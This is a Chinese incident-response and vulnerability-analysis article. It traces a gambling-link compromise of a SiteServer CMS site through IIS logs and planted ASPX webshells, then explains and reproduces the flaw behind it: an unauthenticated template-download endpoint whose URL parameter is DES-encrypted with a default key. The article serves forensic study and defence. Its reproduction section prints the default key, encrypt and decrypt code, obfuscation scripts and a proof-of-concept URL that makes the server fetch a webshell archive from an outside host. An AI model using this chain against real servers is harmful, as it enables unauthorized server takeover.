内容简介:一天管理员发现站点管理员提供基本信息如下:百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。
事件背景
一天管理员发现站点 www.xxxx.xx.cn存在黑链跳转, 管理员立即对服务器中的黑链进行清理,并且镜像了服务器环境,我们登录镜像服务器进行对攻击路径排查分析。
管理员提供基本信息如下:
百度快照中依旧存在博彩相关快照,但是在服务器已经被维护人员清理已经无法访问。
基本排查与信息获取
能否分析出攻击的真实攻击路径,取决于对服务器中恶意文件的查杀结果,因此先使用D盾对服务器中恶意文件进行查杀,最终的查杀结果如下:
我们将其按照文件修改时间排序,对服务器中的后门文件进行分析。
最早的后门文件为aspdm.txt,修改时间为2018年10月4日13:14:30,到文件夹中找到相关文件,可以发现同一个目录下存在aspdm.txt文件和另外一个include.aspx文件。include.aspx的修改时间同样为2018年10月4日13:14:30。
查看文件内容可知,include.aspx利用文件包含功能,包含了一个aspdm.txt文件
查看文件属性,发现文件的创建时间,修改时间一致,很明显,证明该文件是黑客新创建的,没有遭到改动。
查看aspdm.txt文件,可以发现此文件为webshell后门,通过文件包含,将txt文件作为aspx文件执行。
分析.html文件和1.html文件,可以发现这两个文件相同,都是ASPXSpy后门,时间均为2018年6月17日21点10分左右。
时间点再往前,就是模板目录下的SiteServer.aspx文件,被D盾标记为已经后门,修改时间为2017年8月14日10:04:25。
查看SiteServer.aspx文件,可知该文件主要功能为,如果user-agent来自sougou、haosou、so、baidu,则将其劫持到博彩站点,并将博彩站点返回给用户。
Virustotal查询博彩站点xin888.qilv.cc,黑客在9月12日将网站ip地址解析到58.82.251.37。
微步中58.82.251.37情报的标记如下:
查看web.config配置文件,发现同样被篡改,404错误,会跳转到Siteserver.aspx
其他文件为D盾误判,这里不再进行分析,由于客户IIS日志不全,因此跟客户沟通,这里我们只对10月4日的发生的黑链事件做攻击路径做溯源。
攻击者ip定位与访问行为分析
筛选日志,排查访问过后门/SiteFiles/SiteTemplates/txt2/include.aspx的ip地址,发现如下IP地址访问过include.aspx文件。
cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/include.aspx |sort -u
IP地址:
113.103.119.64
113.103.121.185
113.103.122.95
113.110.47.161
113.117.65.33
113.117.66.121
113.117.66.133
119.180.192.175
119.180.199.28
119.186.242.62
125.72.250.205
175.2.149.86
1.82.152.151
182.34.101.251
222.172.139.130
对这些ip地址整体操作行为进行分析,可以发现部分ip地址不停的访问后门文件进行POST操作。
随机选取几个ip地址分析其访问行为,119.186.242.62和113.117.66.133为例,该ip访问过后门之后,直接进行了大量的POST后门操作,未发现其他行为。
119.186.242.62为例,该ip访问过后门之后,直接进行了大量的POST后门操作,也未发现其他明显的漏洞探测行为。
筛选访问aspdm.txt文件的IP
cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep aspdm.txt |sort -u
发现剩下112.239.5.217和119.180.192.175两个ip地址访问过aspdm.txt文件。
112.239.5.217 /SiteFiles/SiteTemplates/test/aspdm.txt
112.239.5.217 /SiteFiles/SiteTemplates/test/sitefiles/aspdm.txt
119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt
进一步分析访问过/SiteFiles/SiteTemplates/txt2/目录下aspdm.txt文件的IP,仅剩下ip地址119.180.192.175。由此可以推断,攻击者主要是通过ip地址119.180.192.175完成攻击完成获取服务器权限的过程。
root@kali2:~# cat u_ex1810.log.D06 |awk ‘{print $9,$5}’|grep /SiteFiles/SiteTemplates/txt2/aspdm.txt |sort -u
119.180.192.175 /SiteFiles/SiteTemplates/txt2/aspdm.txt
综上所述,我们可以推测,攻击者主要是通过112.239.5.217和119.180.192.175完成服务器入侵,通过其他的ip地址,进行后门操作,完成黑链的植入。
攻击过程析
漏洞扫描
根据攻击日志,分析异常请求,发现部分HEAD请求,探测页面是否存在。
取案发前的日志进行分析,探测扫描器行为,未发现明显的扫描器特征。
grep -E -i “AppScan|CustomCookie|netsparker|sqlmap|Havij|PaDDDngolin|nessus|Openvas|whatWEB|w3af|DirBuster|WEBbench” u_ex1810.log.D06
分析返回包为404的日志,发现大部分为网络爬虫造成。
因此,基本可以推测,黑客并非通过漏扫的方式,发现网站漏洞,再去做进一步利用,可能原因如下:
一、之前黑客进行过漏洞扫描,但是由于日志确实,导致无法发现具体的扫描行为;
二、黑客通过自己掌握的网站漏洞,直接进行攻击,无需扫描这一步。
漏洞发现
分析112.239.5.217和119.180.192.175两个ip地址的访问时间可以发现112.239.5.217的操作时间集中在2018-10-04 04:52:56到2018-10-04 05:08:00这里需要注意的是由于IIS 记录日志的时差问题,日志中的访问时间需要加上8小时才是正确的北京时间。即112.239.5.217的实际操作时间集中在2018-10-04 12:52:56到2018-10-04 13:08:00。
119.180.192.175的操作时间集中在2018-10-04 05:07:53到2018-10-04 05:15:51即IP地址119.180.192.175真实的访问时间为2018-10-04 13:07:53到2018-10-04 13:15:51之间。
由此可见,2个IP地址的访问时间比较衔接,证明黑客是112.239.5.217进行入侵,接着更换IP地址为119.180.192.175再进行入侵,理清了时间节点,我们来分析漏洞的具体发现过程。
2018-10-04 04:52:56到2018-10-04 04:55:42为止,攻击者频繁访问
/signalr/send transport=serverSentEvents&clientProtocol=1.5&connectionToken=wMRGrRg3FSXc5jf5fcGNSZdB%2FVHxyXc2psgSgqsil3xyUdyOngO%2BY9XNSboSwcV69uomh01YarpTcd7MQw4rx2Dht7vfRFS0%2FbJVYZ%2F4grxTvSoVjUbVsAOn89FV24u9&connectionData=%5B%7B%22name%22%3A%22createhub%22%7D%5D
该链接的主要功能是生成新的页面,根据日志分析,攻击者并未在该请求上发现可利用的漏洞。
2018-10-04 04:55:43攻击者访问ajaxOtherService.aspx,尝试去下载模板,并创建一个名为test的文件夹,此时攻击者发现网站存在越权下载模板的漏洞,并开始尝试对漏洞进行试探性利用。
GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&%20userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0bpXb04Yf5yp&directoryName=test
漏洞利用
2018-10-04 04:56:01攻击者进行漏洞攻击尝试之后,连续2次访问后门/SiteFiles/SiteTemplates/test/sitefiles/include.aspx但是被重定向到错误页面error.aspx。
/zlinfo/error.aspx ErrorMessage=%e6%96%87%e4%bb%b6%e2%80%9c/SiteFiles/SiteTemplates/test/sitefiles/include.aspx%e2%80%9d%e4%b8%8d%e5%ad%98%e5%9c%a8%e3%80%82解码后为:/zlinfo/error.aspx ErrorMessage=文件“/SiteFiles/SiteTemplates/test/sitefiles/include.aspx”不存在。
本次攻击过程中黑客漏洞利用失败。
2018-10-04 04:56:36黑客访问List_AddInfo.asp、List_Vistor.asp、List_Adduser.asp,服务器均返回200。
本地测试发现此处同样未做权限控制,攻击者可以直接访问,攻击者可以借此获取部分敏感信息。
接下来的攻击者反复进行ajaxOtherService.aspx越权漏洞去尝试去下载模板,但是均以失败告终。
攻击者试图aspdm.txt后门失败,2018-10-04 05:08:00攻击者放弃使用该IP地址进行进一步入侵,切换攻击IP地址为119.180.192.175。
2018-10-04 05:07:53攻击者切换IP地址为119.180.192.175之后,先访问了一次/SiteFiles/SiteTemplates/test/txt1/2.txt,但是访问失败,2.txt文件依旧不存在。
利用成功
2018-10-04 05:08:39攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt1的文件夹用于存放后门。
2018-10-04 05:12:12,黑客访问2.txt返回200,表明文件创建成功。
最终2018-10-04 05:14:30 (注意,由于IIS日志和北京时间的时差为8小时此处真实的漏洞利用成功时间为2018-10-04 13:14:30) 攻击者119.180.192.175再次通过ajaxOtherService.aspx模板下载功能下载后门,并创建一个txt2的文件夹用于存放后门,日志如下:
2018-10-04 05:14:30 29.11.8.132 GET /zlinfo/Ajax/ajaxOtherService.aspx type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 562
2018-10-04 05:14:37攻击者访问aspdm.txt,服务器返回200,文件创建成功。日志如下:
2018-10-04 05:14:37 29.11.8.132 GET /SiteFiles/SiteTemplates/txt2/aspdm.txt – 80 – 119.180.192.175 Mozilla/5.0+(Windows+NT+10.0;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/63.0.3239.132+Safari/537.36 – 200 0 0 593
查询ip地址119.180.192.175,已经被威胁情报标记为恶意。
执行命令
去服务器查看,发现果然之前删除的webshell又被植入,证明黑客确实利用该url下载模板,植入webshell。
服务器downloadUrl的地址为ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0由于URL地址进行了加密,接下来我们通过 工具 来捕获恶意的URL地址。
文件下载
通过process monitor监控分析,我们查看到在访问 http://www.xxxx.xx.cn/zlinfo/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2 后,网站会访问zp.iceclient.com访问并写入txt2.zip文件到服务器上。
通过域名访问该网站,发现会被直接重定向到链接重置,说明攻击者对其做了限制,继续使用科来抓包工具进行抓包,发现该域名对应的IP为107.151.94.210,服务器访问恶意站点的路径为/mmmmm/sitefile5asp-1.zip
通过数据返回包信息,也证明了该文件确实是本次植入的include.aspx文件。
植入后门
通过与服务器中的aspdm.txt和include.aspx文件的创建时间和修改时间2018年10月4日13:14:30对比,发现日志记录的时间与服务器中后门文件的生成时间是一致的,13:14:30攻击者完成攻击,同时后门文件生成,文件的生成时间同时也佐证了攻击者确实是通过ajaxOtherService.aspx的模板下载功能,将后门植入服务器。
植入黑链
黑客完成后门植入之后,连接webshell后门,进行大量POST操作,篡改网站,植入博彩链接。
漏洞原理
0X01 SiteServer远程文件下载导致getshell
通过日志审查,以及客户主机抓包复现得知siteserver之所以被上传shell,是通过远程下载模板文件导致的,通过源代码分析利用过程。
源码地址:https://github.com/siteserver/cms
漏洞位置:后台模板下载位置未对用户权限进行校验,且 ajaxOtherService中的downloadUrl参数可控,导致getshell。
构造与下面类似的链接即可获取webshell:
http://xxx.xxxxx.xxx/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2
0x02 漏洞分析:
可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模块,使用notepad++搜索到该功能模块如下。
发现在ajaxOtherService.cs文件中确实存在函数调用接口
SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
其中downloadUrl就是远程文件的URL地址,directoryName是下载到本地之后命名的模板目录,userKeyPrefix是加密的密钥,继续审核此文件,整理出整个函数调用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函数负责加载整个页面,然后通过request[‘type’]获取到不同的操作类型,如果获取到的type为TypeSiteTemplateDownload ,就会执行其request参数值的相关功能,其中最重要的一步操作就是此时先调用了DecryptStringBySecretKey函数将downloadurl先进行了解密,之后调用SiteTemplateDownload函数进行模板下载并自解压。
在AjaxOtherService类中通过常量中已经定义了TypeSiteTemplateDownload = “SiteTemplateDownload”;
因此当type等于SiteTemplateDownload时就会调用SiteTemplateDownload函数,逻辑非常的清楚,接下来分析downloadurl到底是怎么解密的,这也是本次审计的重点,毕竟其他逻辑非常清楚了,通过调用TranslateUtils.DecryptStringBySecretKey函数进行解密,通常开发习惯就是类名与文件名基本保持一致,因此很容易找到该文件。
通过分析源代码可知,这里将DecryptStringBySecretKey函数进行重载,在调用DecryptStringBySecretKey(string inputString)时候,实际上调用的是下面带secretKey的同名函数DecryptStringBySecretKey(string inputString, string secretKey),分析该函数其中secretKey是取自WebConfigUtils.SecretKey的值,通过审计WebConfigUtils.cs文件可知,该值是从配置文档web.config中取得对应字段值。
SecretKey的值可以在web.config文件中找到。
解密函数DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的参数值同样为WebConfigUtils.SecretKey的值,继续分析该函数,可以看到先进行了混淆字符,将字符“+=&?’/”替换成DES加密后的密文。
这里使用 python 脚本去除混淆,恢复原DES密文。
程序去除混淆之后调用DES模块并实例化encryptor对象调用DesDecrypt解密函数,在实例化对象时将inputString和secreKey传入。
首先使用菜鸟教程http://www.runoob.com/调试核心加解密代码,传入参数_encryptKey和_inputString。
加密代码调试如下_inputString传入任意黑客构造的地址
http://127.0.0.1:99/txt2.zip,_encryptKey传入默认密钥vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{
class Encrypt
{
static void Main(string[] args)
{
var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _inputString = “http://127.0.0.1:99/txt2.zip”;
var _outString = “”;
var _noteMessage = “”;
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine(“DesEncrypt:”);
Console.WriteLine(_outString);
}
catch (Exception error)
{
_noteMessage = error.Message;
}
}
}
}
执行之后获取其加密downloadurl如下:
ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=
混淆py代码
# -*- coding: UTF-8 -*-
str_decry = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”
str_decry = str_decry.replace(“+”, “0add0”).replace(“=”, “0equals0”).replace(“&”, “0and0”).replace(“?”, “0question0”).replace(“‘”, “0quote0”).replace(“/”, “0slash0”)
print str_decry
混淆之后的downloadurl为:
ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0
解密的步骤与加密相反,首先将混淆后的下载地址去除混淆。
去混淆py代码
# -*- coding: UTF-8 -*-
decryptKey =’ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0′
decryptKey =decryptKey .replace(“0add0”, “+”).replace(“0equals0”, “=”).replace(“0and0”, “&”).replace(“0question0”, “?”).replace(“0quote0”, “‘”).replace(“0slash0”, “/”)
print decryptKey
去混淆后密文如下:
ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=
解密函数调试如下,传入_inputString和密钥。
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace DecryptApplication
{
class Decrypt
{
static void Main(string[] args)
{
var _encryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _decryptKey = “vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5”;
var _inputString = “ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=”;
var _outString = “”;
var _noteMessage = “”;
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try
{
var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
var des = new DESCryptoServiceProvider();
var inputByteArray = Convert.FromBase64String(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
_outString = encoding.GetString(ms.ToArray());
Console.WriteLine(“DesDecrypt:”);
Console.WriteLine(_outString);
}
catch (Exception error)
{
_noteMessage = error.Message;
}
}
}
}
其中secretKey其实用户可以修改,并不一定是唯一的,因此受到一定的限制,但是一旦获取到secretKey值就可以构造远程文件下载,获取webshell。
0x03 漏洞复现
下载siteserver5.0安装包,并安装。
下载地址:http://cms.siteserver.cn/download.html
假设downloadurl地址为(实际利用是黑客的公网IP地址):
http://192.168.231.134/txt2.zip
安装后的secretKey默认为:
vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5
对恶意下载地址 http://192.168.231.134/txt2.zip 进行DES加密
加密后的downloadurl:ZjYIub/YxA0VVYDzNHVwtJBqP+pqvMBBTvHbMUpS0M8=
混淆后传入参数中的downloadurl为:
ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0
可以构造如下的POC实现远程文件下载,获取webshell
http://192.168.231.135:99/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA0VVYDzNHVwtJBqP0add0pqvMBBTvHbMUpS0M80equals0&directoryName=txt2
访问webshell地址http://192.168.231.135:99/SiteFiles/SiteTemplates/txt2/include.aspx,可以成功访问。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Compilers
Alfred V. Aho、Monica S. Lam、Ravi Sethi、Jeffrey D. Ullman / Addison Wesley / 2006-9-10 / USD 186.80
This book provides the foundation for understanding the theory and pracitce of compilers. Revised and updated, it reflects the current state of compilation. Every chapter has been completely revised ......一起来看看 《Compilers》 这本书的介绍吧!
URL 编码/解码
URL 编码/解码
RGB HSV 转换
RGB HSV 互转工具